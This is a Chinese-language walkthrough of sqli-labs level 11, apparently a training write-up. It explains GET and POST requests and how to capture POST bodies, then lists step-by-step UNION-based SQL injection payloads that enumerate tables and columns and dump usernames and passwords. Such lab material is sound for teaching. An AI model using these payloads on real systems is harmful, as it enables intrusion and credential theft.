sqli-labs (less-11)
补充知识
从第11关开始我们发现跟以前的页面已经完全不一样了,这里要我们输入用户名和密码
假设我们现在注册了一个账号,账号为admin,密码为admin,我们登入进去看看
登入进去之后我们发现屏幕上回显了我们输入的账号和密码,但是url那里却没有返回我们输入的账号和密码,因为前面的关卡我们输入的内容都是以GET方式传输到了服务端,而这里我们输入的账号密码是以POST的方法传输到了服务端
GET请求和POST请求的区别
GET请求:
GET方法用于获取请求页面的指定信息(以实体的格式)。如果请求资源为动态脚本(非HTML),那么返回文本是Web容器解析后的HTML源代码,而不是源文件。
POST请求:
POST方法也与GET方法相似,但最大的区别在于,GET方法没有请求内容,而POST是有请求内容的。POST请求最多用于向服务器发送大量的数据。GET虽然也能发送数据,但是有大小(长度)的限制,并且GET请求会将发送的数据显示在浏览器端,而POST则不会,所以安全性相对来说高一点
所以这里我们的目的就是要抓到以POST请求上传的内容,这里介绍两种方法
使用burpsuite抓包
我们先将账号密码输入到屏幕上,开启burpsuite后点击submit进行抓包
上面红框里面的内容就是我们以POST方式传输上去的内容
使用firefox扩展工具hackbar
我们输入账号密码登入进去以后,先点击Load url,再点击Post data,就可以查看到以POST方式传输上去的内容了
下面我们正式进入less-11
less-11
我们利用hackbar抓到POST包后,像前面的关卡一样我们先在admin的位置试试有没有SQL注入漏洞
我们发现当我们在Post data的位置输入
uname=admin'&passwd=admin&submit=Submit
时,系统报错,证明有SQL注入漏洞,并且为字符型注入
判断字段长度
输入uname=ad' order by 2#&passwd=admin&submit=Submit #回显正常
uname=ad' order by 3#&passwd=admin&submit=Submit #回显错误
判断字段数为2
确定回显位置
uname=ad' union select 1,2#&passwd=admin&submit=Submit
查看当前数据库及当前用户
uname=ad' union select user(),database()#&passwd=admin&submit=Submit
查看security库下的所有表
uname=ad' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#&passwd=admin&submit=Submit
查看users表下的所有字段
uname=ad' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#&passwd=admin&submit=Submit
查看username和password字段的值
uname=ad' union select 1,(select group_concat(username,password) from security.users)#&passwd=admin&submit=Submit